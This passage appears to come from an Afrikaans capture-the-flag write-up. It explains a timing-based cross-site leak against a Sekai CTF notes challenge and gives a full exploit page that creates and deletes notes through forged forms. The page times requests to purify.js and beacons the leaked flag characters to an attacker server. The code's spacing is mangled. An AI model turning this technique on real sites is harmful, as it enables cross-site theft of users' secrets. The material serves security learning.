Die aanvaller sal 'n nota met soveel <img etikette laai/js/purify.js as moontlik (meer as 6 om die oorsprong te blokkeer).
Dan sal die aanvaller die nota met indeks 1 verwyder.
Dan sal die aanvaller [die bot die bladsy laat toegang met die oorblywende nota] en sal 'n versoek na victim.com/js/purify.js stuur wat hy sal tyd.
As die tyd groter is, was die inspuiting in die nota wat gelaat is, as die tyd laer is, was die vlag daar.
Eerlik, terwyl ek die skrip lees, het ek 'n deel gemis waar die aanvaller die bot laat laai die bladsy om die img etikette te aktiveer, ek sien niks soos dit in die kode nie.
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>